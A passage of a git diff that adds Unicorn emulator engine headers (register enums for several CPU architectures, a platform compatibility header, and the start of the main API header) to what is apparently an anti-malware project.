UC_ARM64_REG_VBAR_EL1, + UC_ARM64_REG_VBAR_EL2, + UC_ARM64_REG_VBAR_EL3, + + UC_ARM64_REG_ENDING, // <-- mark the end of the list of registers + + //> alias registers + + UC_ARM64_REG_IP0 = UC_ARM64_REG_X16, + UC_ARM64_REG_IP1 = UC_ARM64_REG_X17, + UC_ARM64_REG_FP = UC_ARM64_REG_X29, + UC_ARM64_REG_LR = UC_ARM64_REG_X30, +} uc_arm64_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/m68k.h b/ai_anti_malware/unicorn/include/unicorn/m68k.h new file mode 100644 index 0000000..80e8b92 --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/m68k.h @@ -0,0 +1,50 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_M68K_H +#define UNICORN_M68K_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> M68K registers +typedef enum uc_m68k_reg { + UC_M68K_REG_INVALID = 0, + + UC_M68K_REG_A0, + UC_M68K_REG_A1, + UC_M68K_REG_A2, + UC_M68K_REG_A3, + UC_M68K_REG_A4, + UC_M68K_REG_A5, + UC_M68K_REG_A6, + UC_M68K_REG_A7, + + UC_M68K_REG_D0, + UC_M68K_REG_D1, + UC_M68K_REG_D2, + UC_M68K_REG_D3, + UC_M68K_REG_D4, + UC_M68K_REG_D5, + UC_M68K_REG_D6, + UC_M68K_REG_D7, + + UC_M68K_REG_SR, + UC_M68K_REG_PC, + + UC_M68K_REG_ENDING, // <-- mark the end of the list of registers +} uc_m68k_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/mips.h b/ai_anti_malware/unicorn/include/unicorn/mips.h new file mode 100644 index 0000000..77fde3c --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/mips.h @@ -0,0 +1,232 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_MIPS_H +#define UNICORN_MIPS_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC MIPS toolchain has a default macro called "mips" which breaks +// compilation +#undef mips + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> MIPS registers +typedef enum UC_MIPS_REG { + UC_MIPS_REG_INVALID = 0, + //> General purpose registers + UC_MIPS_REG_PC, + + UC_MIPS_REG_0, + UC_MIPS_REG_1, + UC_MIPS_REG_2, + UC_MIPS_REG_3, + UC_MIPS_REG_4, + UC_MIPS_REG_5, + UC_MIPS_REG_6, + UC_MIPS_REG_7, + UC_MIPS_REG_8, + UC_MIPS_REG_9, + UC_MIPS_REG_10, + UC_MIPS_REG_11, + UC_MIPS_REG_12, + UC_MIPS_REG_13, + UC_MIPS_REG_14, + UC_MIPS_REG_15, + UC_MIPS_REG_16, + UC_MIPS_REG_17, + UC_MIPS_REG_18, + UC_MIPS_REG_19, + UC_MIPS_REG_20, + UC_MIPS_REG_21, + UC_MIPS_REG_22, + UC_MIPS_REG_23, + UC_MIPS_REG_24, + UC_MIPS_REG_25, + UC_MIPS_REG_26, + UC_MIPS_REG_27, + UC_MIPS_REG_28, + UC_MIPS_REG_29, + UC_MIPS_REG_30, + UC_MIPS_REG_31, + + //> DSP registers + UC_MIPS_REG_DSPCCOND, + UC_MIPS_REG_DSPCARRY, + UC_MIPS_REG_DSPEFI, + UC_MIPS_REG_DSPOUTFLAG, + UC_MIPS_REG_DSPOUTFLAG16_19, + UC_MIPS_REG_DSPOUTFLAG20, + UC_MIPS_REG_DSPOUTFLAG21, + UC_MIPS_REG_DSPOUTFLAG22, + UC_MIPS_REG_DSPOUTFLAG23, + UC_MIPS_REG_DSPPOS, + UC_MIPS_REG_DSPSCOUNT, + + //> ACC registers + UC_MIPS_REG_AC0, + UC_MIPS_REG_AC1, + UC_MIPS_REG_AC2, + UC_MIPS_REG_AC3, + + //> COP registers + UC_MIPS_REG_CC0, + UC_MIPS_REG_CC1, + UC_MIPS_REG_CC2, + UC_MIPS_REG_CC3, + UC_MIPS_REG_CC4, + UC_MIPS_REG_CC5, + UC_MIPS_REG_CC6, + UC_MIPS_REG_CC7, + + //> FPU registers + UC_MIPS_REG_F0, + UC_MIPS_REG_F1, + UC_MIPS_REG_F2, + UC_MIPS_REG_F3, + UC_MIPS_REG_F4, + UC_MIPS_REG_F5, + UC_MIPS_REG_F6, + UC_MIPS_REG_F7, + UC_MIPS_REG_F8, + UC_MIPS_REG_F9, + UC_MIPS_REG_F10, + UC_MIPS_REG_F11, + UC_MIPS_REG_F12, + UC_MIPS_REG_F13, + UC_MIPS_REG_F14, + UC_MIPS_REG_F15, + UC_MIPS_REG_F16, + UC_MIPS_REG_F17, + UC_MIPS_REG_F18, + UC_MIPS_REG_F19, + UC_MIPS_REG_F20, + UC_MIPS_REG_F21, + UC_MIPS_REG_F22, + UC_MIPS_REG_F23, + UC_MIPS_REG_F24, + UC_MIPS_REG_F25, + UC_MIPS_REG_F26, + UC_MIPS_REG_F27, + UC_MIPS_REG_F28, + UC_MIPS_REG_F29, + UC_MIPS_REG_F30, + UC_MIPS_REG_F31, + + UC_MIPS_REG_FCC0, + UC_MIPS_REG_FCC1, + UC_MIPS_REG_FCC2, + UC_MIPS_REG_FCC3, + UC_MIPS_REG_FCC4, + UC_MIPS_REG_FCC5, + UC_MIPS_REG_FCC6, + UC_MIPS_REG_FCC7, + + //> AFPR128 + UC_MIPS_REG_W0, + UC_MIPS_REG_W1, + UC_MIPS_REG_W2, + UC_MIPS_REG_W3, + UC_MIPS_REG_W4, + UC_MIPS_REG_W5, + UC_MIPS_REG_W6, + UC_MIPS_REG_W7, + UC_MIPS_REG_W8, + UC_MIPS_REG_W9, + UC_MIPS_REG_W10, + UC_MIPS_REG_W11, + UC_MIPS_REG_W12, + UC_MIPS_REG_W13, + UC_MIPS_REG_W14, + UC_MIPS_REG_W15, + UC_MIPS_REG_W16, + UC_MIPS_REG_W17, + UC_MIPS_REG_W18, + UC_MIPS_REG_W19, + UC_MIPS_REG_W20, + UC_MIPS_REG_W21, + UC_MIPS_REG_W22, + UC_MIPS_REG_W23, + UC_MIPS_REG_W24, + UC_MIPS_REG_W25, + UC_MIPS_REG_W26, + UC_MIPS_REG_W27, + UC_MIPS_REG_W28, + UC_MIPS_REG_W29, + UC_MIPS_REG_W30, + UC_MIPS_REG_W31, + + UC_MIPS_REG_HI, + UC_MIPS_REG_LO, + + UC_MIPS_REG_P0, + UC_MIPS_REG_P1, + UC_MIPS_REG_P2, + + UC_MIPS_REG_MPL0, + UC_MIPS_REG_MPL1, + UC_MIPS_REG_MPL2, + + UC_MIPS_REG_CP0_CONFIG3, + UC_MIPS_REG_CP0_USERLOCAL, + + UC_MIPS_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + UC_MIPS_REG_ZERO = UC_MIPS_REG_0, + UC_MIPS_REG_AT = UC_MIPS_REG_1, + UC_MIPS_REG_V0 = UC_MIPS_REG_2, + UC_MIPS_REG_V1 = UC_MIPS_REG_3, + UC_MIPS_REG_A0 = UC_MIPS_REG_4, + UC_MIPS_REG_A1 = UC_MIPS_REG_5, + UC_MIPS_REG_A2 = UC_MIPS_REG_6, + UC_MIPS_REG_A3 = UC_MIPS_REG_7, + UC_MIPS_REG_T0 = UC_MIPS_REG_8, + UC_MIPS_REG_T1 = UC_MIPS_REG_9, + UC_MIPS_REG_T2 = UC_MIPS_REG_10, + UC_MIPS_REG_T3 = UC_MIPS_REG_11, + UC_MIPS_REG_T4 = UC_MIPS_REG_12, + UC_MIPS_REG_T5 = UC_MIPS_REG_13, + UC_MIPS_REG_T6 = UC_MIPS_REG_14, + UC_MIPS_REG_T7 = UC_MIPS_REG_15, + UC_MIPS_REG_S0 = UC_MIPS_REG_16, + UC_MIPS_REG_S1 = UC_MIPS_REG_17, + UC_MIPS_REG_S2 = UC_MIPS_REG_18, + UC_MIPS_REG_S3 = UC_MIPS_REG_19, + UC_MIPS_REG_S4 = UC_MIPS_REG_20, + UC_MIPS_REG_S5 = UC_MIPS_REG_21, + UC_MIPS_REG_S6 = UC_MIPS_REG_22, + UC_MIPS_REG_S7 = UC_MIPS_REG_23, + UC_MIPS_REG_T8 = UC_MIPS_REG_24, + UC_MIPS_REG_T9 = UC_MIPS_REG_25, + UC_MIPS_REG_K0 = UC_MIPS_REG_26, + UC_MIPS_REG_K1 = UC_MIPS_REG_27, + UC_MIPS_REG_GP = UC_MIPS_REG_28, + UC_MIPS_REG_SP = UC_MIPS_REG_29, + UC_MIPS_REG_FP = UC_MIPS_REG_30, UC_MIPS_REG_S8 = UC_MIPS_REG_30, + UC_MIPS_REG_RA = UC_MIPS_REG_31, + + UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0, + UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1, + UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2, + UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3, + + UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0, + UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1, + UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2, + UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3, +} UC_MIPS_REG; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/platform.h b/ai_anti_malware/unicorn/include/unicorn/platform.h new file mode 100644 index 0000000..5bbfd8a --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/platform.h @@ -0,0 +1,221 @@ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +/* + This file is to support header files that are missing in MSVC and + other non-standard compilers. +*/ +#ifndef UNICORN_PLATFORM_H +#define UNICORN_PLATFORM_H + +/* +These are the various MSVC versions as given by _MSC_VER: +MSVC++ 14.0 _MSC_VER == 1900 (Visual Studio 2015) +MSVC++ 12.0 _MSC_VER == 1800 (Visual Studio 2013) +MSVC++ 11.0 _MSC_VER == 1700 (Visual Studio 2012) +MSVC++ 10.0 _MSC_VER == 1600 (Visual Studio 2010) +MSVC++ 9.0 _MSC_VER == 1500 (Visual Studio 2008) +MSVC++ 8.0 _MSC_VER == 1400 (Visual Studio 2005) +MSVC++ 7.1 _MSC_VER == 1310 (Visual Studio 2003) +MSVC++ 7.0 _MSC_VER == 1300 +MSVC++ 6.0 _MSC_VER == 1200 +MSVC++ 5.0 _MSC_VER == 1100 +*/ +#define MSC_VER_VS2003 1310 +#define MSC_VER_VS2005 1400 +#define MSC_VER_VS2008 1500 +#define MSC_VER_VS2010 1600 +#define MSC_VER_VS2012 1700 +#define MSC_VER_VS2013 1800 +#define MSC_VER_VS2015 1900 + +// handle stdbool.h compatibility +#if !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) +// MSVC + +// stdbool.h +#if (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) +// this system does not have stdbool.h +#ifndef __cplusplus +typedef unsigned char bool; +#define false 0 +#define true 1 +#endif // __cplusplus + +#else +// VisualStudio 2013+ -> C99 is supported +#include +#endif // (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +#else +// not MSVC -> C99 is supported +#include +#endif // !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) + +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) +// this system does not have stdint.h +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef signed long long int64_t; +typedef unsigned long long uint64_t; + +#ifndef _INTPTR_T_DEFINED + #define _INTPTR_T_DEFINED + #ifdef _WIN64 +typedef long long intptr_t; + #else /* _WIN64 */ +typedef _W64 int intptr_t; + #endif /* _WIN64 */ +#endif /* _INTPTR_T_DEFINED */ + +#ifndef _UINTPTR_T_DEFINED + #define _UINTPTR_T_DEFINED + #ifdef _WIN64 +typedef unsigned long long uintptr_t; + #else /* _WIN64 */ +typedef _W64 unsigned int uintptr_t; + #endif /* _WIN64 */ +#endif /* _UINTPTR_T_DEFINED */ + +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 +#else // this system has stdint.h +#include +#endif // (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) + +// handle inttypes.h compatibility +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013)) || defined(_KERNEL_MODE) +// this system does not have inttypes.h + +#define __PRI_8_LENGTH_MODIFIER__ "hh" +#define __PRI_64_LENGTH_MODIFIER__ "ll" + +#define PRId8 __PRI_8_LENGTH_MODIFIER__ "d" +#define PRIi8 __PRI_8_LENGTH_MODIFIER__ "i" +#define PRIo8 __PRI_8_LENGTH_MODIFIER__ "o" +#define PRIu8 __PRI_8_LENGTH_MODIFIER__ "u" +#define PRIx8 __PRI_8_LENGTH_MODIFIER__ "x" +#define PRIX8 __PRI_8_LENGTH_MODIFIER__ "X" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +#define PRId32 "ld" +#define PRIi32 "li" +#define PRIo32 "lo" +#define PRIu32 "lu" +#define PRIx32 "lx" +#define PRIX32 "lX" +#else // OSX +#define PRId32 "d" +#define PRIi32 "i" +#define PRIo32 "o" +#define PRIu32 "u" +#define PRIx32 "x" +#define PRIX32 "X" +#endif // defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +// redefine functions from inttypes.h used in cstool +#define strtoull _strtoui64 +#endif + +#define PRId64 __PRI_64_LENGTH_MODIFIER__ "d" +#define PRIi64 __PRI_64_LENGTH_MODIFIER__ "i" +#define PRIo64 __PRI_64_LENGTH_MODIFIER__ "o" +#define PRIu64 __PRI_64_LENGTH_MODIFIER__ "u" +#define PRIx64 __PRI_64_LENGTH_MODIFIER__ "x" +#define PRIX64 __PRI_64_LENGTH_MODIFIER__ "X" + +#else +// this system has inttypes.h by default +#include +#endif // #if defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +// sys/time.h compatibility +#if defined(_MSC_VER) +#include +#include +#include + +static int gettimeofday(struct timeval* t, void* timezone) +{ + struct _timeb timebuffer; + _ftime( &timebuffer ); + t->tv_sec = (long)timebuffer.time; + t->tv_usec = 1000*timebuffer.millitm; + return 0; +} +#else +#include +#endif + +// unistd.h compatibility +#if defined(_MSC_VER) + +static int usleep(uint32_t usec) +{ + HANDLE timer; + LARGE_INTEGER due; + + timer = CreateWaitableTimer(NULL, TRUE, NULL); + if (!timer) + return -1; + + due.QuadPart = (-((int64_t) usec)) * 10LL; + if (!SetWaitableTimer(timer, &due, 0, NULL, NULL, 0)) { + CloseHandle(timer); + return -1; + } + WaitForSingleObject(timer, INFINITE); + CloseHandle(timer); + + return 0; +} + +#else +#include +#endif + +// misc support +#if defined(_MSC_VER) +#ifdef _WIN64 +typedef signed __int64 ssize_t; +#else +typedef _W64 signed int ssize_t; +#endif + +#ifndef va_copy +#define va_copy(d,s) ((d) = (s)) +#endif +#define strcasecmp _stricmp +#if (_MSC_VER < MSC_VER_VS2015) +#define snprintf _snprintf +#endif +#if (_MSC_VER <= MSC_VER_VS2013) +#define strtoll _strtoi64 +#endif +#endif + + +#endif // UNICORN_PLATFORM_H diff --git a/ai_anti_malware/unicorn/include/unicorn/sparc.h b/ai_anti_malware/unicorn/include/unicorn/sparc.h new file mode 100644 index 0000000..08e0538 --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/sparc.h @@ -0,0 +1,130 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_SPARC_H +#define UNICORN_SPARC_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC SPARC toolchain has a default macro called "sparc" which breaks +// compilation +#undef sparc + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> SPARC registers +typedef enum uc_sparc_reg { + UC_SPARC_REG_INVALID = 0, + + UC_SPARC_REG_F0, + UC_SPARC_REG_F1, + UC_SPARC_REG_F2, + UC_SPARC_REG_F3, + UC_SPARC_REG_F4, + UC_SPARC_REG_F5, + UC_SPARC_REG_F6, + UC_SPARC_REG_F7, + UC_SPARC_REG_F8, + UC_SPARC_REG_F9, + UC_SPARC_REG_F10, + UC_SPARC_REG_F11, + UC_SPARC_REG_F12, + UC_SPARC_REG_F13, + UC_SPARC_REG_F14, + UC_SPARC_REG_F15, + UC_SPARC_REG_F16, + UC_SPARC_REG_F17, + UC_SPARC_REG_F18, + UC_SPARC_REG_F19, + UC_SPARC_REG_F20, + UC_SPARC_REG_F21, + UC_SPARC_REG_F22, + UC_SPARC_REG_F23, + UC_SPARC_REG_F24, + UC_SPARC_REG_F25, + UC_SPARC_REG_F26, + UC_SPARC_REG_F27, + UC_SPARC_REG_F28, + UC_SPARC_REG_F29, + UC_SPARC_REG_F30, + UC_SPARC_REG_F31, + UC_SPARC_REG_F32, + UC_SPARC_REG_F34, + UC_SPARC_REG_F36, + UC_SPARC_REG_F38, + UC_SPARC_REG_F40, + UC_SPARC_REG_F42, + UC_SPARC_REG_F44, + UC_SPARC_REG_F46, + UC_SPARC_REG_F48, + UC_SPARC_REG_F50, + UC_SPARC_REG_F52, + UC_SPARC_REG_F54, + UC_SPARC_REG_F56, + UC_SPARC_REG_F58, + UC_SPARC_REG_F60, + UC_SPARC_REG_F62, + UC_SPARC_REG_FCC0, // Floating condition codes + UC_SPARC_REG_FCC1, + UC_SPARC_REG_FCC2, + UC_SPARC_REG_FCC3, + UC_SPARC_REG_G0, + UC_SPARC_REG_G1, + UC_SPARC_REG_G2, + UC_SPARC_REG_G3, + UC_SPARC_REG_G4, + UC_SPARC_REG_G5, + UC_SPARC_REG_G6, + UC_SPARC_REG_G7, + UC_SPARC_REG_I0, + UC_SPARC_REG_I1, + UC_SPARC_REG_I2, + UC_SPARC_REG_I3, + UC_SPARC_REG_I4, + UC_SPARC_REG_I5, + UC_SPARC_REG_FP, + UC_SPARC_REG_I7, + UC_SPARC_REG_ICC, // Integer condition codes + UC_SPARC_REG_L0, + UC_SPARC_REG_L1, + UC_SPARC_REG_L2, + UC_SPARC_REG_L3, + UC_SPARC_REG_L4, + UC_SPARC_REG_L5, + UC_SPARC_REG_L6, + UC_SPARC_REG_L7, + UC_SPARC_REG_O0, + UC_SPARC_REG_O1, + UC_SPARC_REG_O2, + UC_SPARC_REG_O3, + UC_SPARC_REG_O4, + UC_SPARC_REG_O5, + UC_SPARC_REG_SP, + UC_SPARC_REG_O7, + UC_SPARC_REG_Y, + + // special register + UC_SPARC_REG_XCC, + + // pseudo register + UC_SPARC_REG_PC, // program counter register + + UC_SPARC_REG_ENDING, // <-- mark the end of the list of registers + + // extras + UC_SPARC_REG_O6 = UC_SPARC_REG_SP, + UC_SPARC_REG_I6 = UC_SPARC_REG_FP, +} uc_sparc_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/include/unicorn/unicorn.h b/ai_anti_malware/unicorn/include/unicorn/unicorn.h new file mode 100644 index 0000000..ab5485e --- /dev/null +++ b/ai_anti_malware/unicorn/include/unicorn/unicorn.h @@ -0,0 +1,779 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ENGINE_H +#define UNICORN_ENGINE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" +#include + +#if defined(UNICORN_HAS_OSXKERNEL) +#include +#else +#include +#include +#endif + +struct uc_struct; +typedef struct uc_struct uc_engine; + +typedef size_t uc_hook; + +#include "m68k.h" +#include "x86.h" +#include "arm.h" +#include "arm64.h" +#include "mips.h" +#include "sparc.h" + +#ifdef __GNUC__ +#define DEFAULT_VISIBILITY __attribute__((visibility("default"))) +#else +#define DEFAULT_VISIBILITY +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#pragma warning(disable:4100) +#ifdef UNICORN_SHARED +#define UNICORN_EXPORT __declspec(dllexport) +#else // defined(UNICORN_STATIC) +#define UNICORN_EXPORT +#endif +#else +#ifdef __GNUC__ +#define UNICORN_EXPORT __attribute__((visibility("default"))) +#else +#define UNICORN_EXPORT +#endif +#endif + +#ifdef __GNUC__ +#define UNICORN_DEPRECATED __attribute__((deprecated)) +#elif defined(_MSC_VER) +#define UNICORN_DEPRECATED __declspec(deprecated) +#else +#pragma message("WARNING: You need to implement UNICORN_DEPRECATED for this compiler") +#define UNICORN_DEPRECATED +#endif + +// Unicorn API version +#define UC_API_MAJOR 1 +#define UC_API_MINOR 0 + +// Unicorn package version +#define UC_VERSION_MAJOR UC_API_MAJOR +#define UC_VERSION_MINOR UC_API_MINOR +#define UC_VERSION_EXTRA 2 + + +/* + Macro to create combined version which can be compared to + result of uc_version() API. +*/ +#define UC_MAKE_VERSION(major, minor) ((major << 8) + minor) + +// Scales to calculate timeout on microsecond unit +// 1 second = 1000,000 microseconds +#define UC_SECOND_SCALE 1000000 +// 1 milisecond = 1000 nanoseconds +#define UC_MILISECOND_SCALE 1000 + +// Architecture type +typedef enum uc_arch { + UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2) + UC_ARCH_ARM64, // ARM-64, also called AArch64 + UC_ARCH_MIPS, // Mips architecture + UC_ARCH_X86, // X86 architecture (including x86 & x86-64) + UC_ARCH_PPC, // PowerPC architecture (currently unsupported) + UC_ARCH_SPARC, // Sparc architecture + UC_ARCH_M68K, // M68K architecture + UC_ARCH_MAX, +} uc_arch; + +// Mode type +typedef enum uc_mode { + UC_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode) + UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode + + // arm / arm64 + UC_MODE_ARM = 0, // ARM mode + UC_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2) + UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M series (currently unsupported) + UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM (currently unsupported) + + // arm (32bit) cpu types + UC_MODE_ARM926 = 1 << 7, // ARM926 CPU type + UC_MODE_ARM946 = 1 << 8, // ARM946 CPU type + UC_MODE_ARM1176 = 1 << 9, // ARM1176 CPU type + + // mips + UC_MODE_MICRO = 1 << 4, // MicroMips mode (currently unsupported) + UC_MODE_MIPS3 = 1 << 5, // Mips III ISA (currently unsupported) + UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA (currently unsupported) + UC_MODE_MIPS32 = 1 << 2, // Mips32 ISA + UC_MODE_MIPS64 = 1 << 3, // Mips64 ISA + + // x86 / x64 + UC_MODE_16 = 1 << 1, // 16-bit mode + UC_MODE_32 = 1 << 2, // 32-bit mode + UC_MODE_64 = 1 << 3, // 64-bit mode + + // ppc + UC_MODE_PPC32 = 1 << 2, // 32-bit mode (currently unsupported) + UC_MODE_PPC64 = 1 << 3, // 64-bit mode (currently unsupported) + UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (currently unsupported) + + // sparc + UC_MODE_SPARC32 = 1 << 2, // 32-bit mode + UC_MODE_SPARC64 = 1 << 3, // 64-bit mode + UC_MODE_V9 = 1 << 4, // SparcV9 mode (currently unsupported) + + // m68k +} uc_mode; + +// All type of errors encountered by Unicorn API. +// These are values returned by uc_errno() +typedef enum uc_err { + UC_ERR_OK = 0, // No error: everything was fine + UC_ERR_NOMEM, // Out-Of-Memory error: uc_open(), uc_emulate() + UC_ERR_ARCH, // Unsupported architecture: uc_open() + UC_ERR_HANDLE, // Invalid handle + UC_ERR_MODE, // Invalid/unsupported mode: uc_open() + UC_ERR_VERSION, // Unsupported version (bindings) + UC_ERR_READ_UNMAPPED, // Quit emulation due to READ on unmapped memory: uc_emu_start() + UC_ERR_WRITE_UNMAPPED, // Quit emulation due to WRITE on unmapped memory: uc_emu_start() + UC_ERR_FETCH_UNMAPPED, // Quit emulation due to FETCH on unmapped memory: uc_emu_start() + UC_ERR_HOOK, // Invalid hook type: uc_hook_add() + UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start() + UC_ERR_MAP, // Invalid memory mapping: uc_mem_map() + UC_ERR_WRITE_PROT, // Quit emulation due to UC_MEM_WRITE_PROT violation: uc_emu_start() + UC_ERR_READ_PROT, // Quit emulation due to UC_MEM_READ_PROT violation: uc_emu_start() + UC_ERR_FETCH_PROT, // Quit emulation due to UC_MEM_FETCH_PROT violation: uc_emu_start() + UC_ERR_ARG, // Inavalid argument provided to uc_xxx function (See specific function API) + UC_ERR_READ_UNALIGNED, // Unaligned read + UC_ERR_WRITE_UNALIGNED, // Unaligned write + UC_ERR_FETCH_UNALIGNED, // Unaligned fetch + UC_ERR_HOOK_EXIST, // hook for this event already existed + UC_ERR_RESOURCE, // Insufficient resource: uc_emu_start() + UC_ERR_EXCEPTION, // Unhandled CPU exception +} uc_err; + + +/* + Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) + + @address: address where the code is being executed + @size: size of machine instruction(s) being executed, or 0 when size is unknown + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookcode_t)(uc_engine *uc, uint64_t address, uint32_t size, void *user_data); + +/* + Callback function for tracing interrupts (for uc_hook_intr()) + + @intno: interrupt number + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookintr_t)(uc_engine *uc, uint32_t intno, void *user_data); + +/* + Callback function for tracing invalid instructions + + @user_data: user data passed to tracing APIs. + + @return: return true to continue, or false to stop program (due to invalid instruction). +*/ +typedef bool (*uc_cb_hookinsn_invalid_t)(uc_engine *uc, void *user_data); + +/* + Callback function for tracing IN instruction of X86 + + @port: port number + @size: data size (1/2/4) to be read from this port + @user_data: user data passed to tracing APIs. +*/ +typedef uint32_t (*uc_cb_insn_in_t)(uc_engine *uc, uint32_t port, int size, void *user_data); + +/* + Callback function for OUT instruction of X86 + + @port: port number + @size: data size (1/2/4) to be written to this port + @value: data value to be written to this port +*/ +typedef void (*uc_cb_insn_out_t)(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data); + +// All type of memory accesses for UC_HOOK_MEM_* +typedef enum uc_mem_type { + UC_MEM_READ = 16, // Memory is read from + UC_MEM_WRITE, // Memory is written to + UC_MEM_FETCH, // Memory is fetched + UC_MEM_READ_UNMAPPED, // Unmapped memory is read from + UC_MEM_WRITE_UNMAPPED, // Unmapped memory is written to + UC_MEM_FETCH_UNMAPPED, // Unmapped memory is fetched + UC_MEM_WRITE_PROT, // Write to write protected, but mapped, memory + UC_MEM_READ_PROT, // Read from read protected, but mapped, memory + UC_MEM_FETCH_PROT, // Fetch from non-executable, but mapped, memory + UC_MEM_READ_AFTER, // Memory is read from (successful access) +} uc_mem_type; + +// All type of hooks for uc_hook_add() API. +typedef enum uc_hook_type { + // Hook all interrupt/syscall events + UC_HOOK_INTR = 1 << 0, + // Hook a particular instruction - only a very small subset of instructions supported here + UC_HOOK_INSN = 1 << 1, + // Hook a range of code + UC_HOOK_CODE = 1 << 2, + // Hook basic blocks + UC_HOOK_BLOCK = 1 << 3, + // Hook for memory read on unmapped memory + UC_HOOK_MEM_READ_UNMAPPED = 1 << 4, + // Hook for invalid memory write events + UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5, + // Hook for invalid memory fetch for execution events + UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6, + // Hook for memory read on read-protected memory + UC_HOOK_MEM_READ_PROT = 1 << 7, + // Hook for memory write on write-protected memory + UC_HOOK_MEM_WRITE_PROT = 1 << 8, + // Hook for memory fetch on non-executable memory + UC_HOOK_MEM_FETCH_PROT = 1 << 9, + // Hook memory read events. + UC_HOOK_MEM_READ = 1 << 10, + // Hook memory write events. + UC_HOOK_MEM_WRITE = 1 << 11, + // Hook memory fetch for execution events + UC_HOOK_MEM_FETCH = 1 << 12, + // Hook memory read events, but only successful access. + // The callback will be triggered after successful read. + UC_HOOK_MEM_READ_AFTER = 1 << 13, + // Hook invalid instructions exceptions. + UC_HOOK_INSN_INVALID = 1 << 14, +} uc_hook_type; + +// Hook type for all events of unmapped memory access +#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal protected memory access +#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + 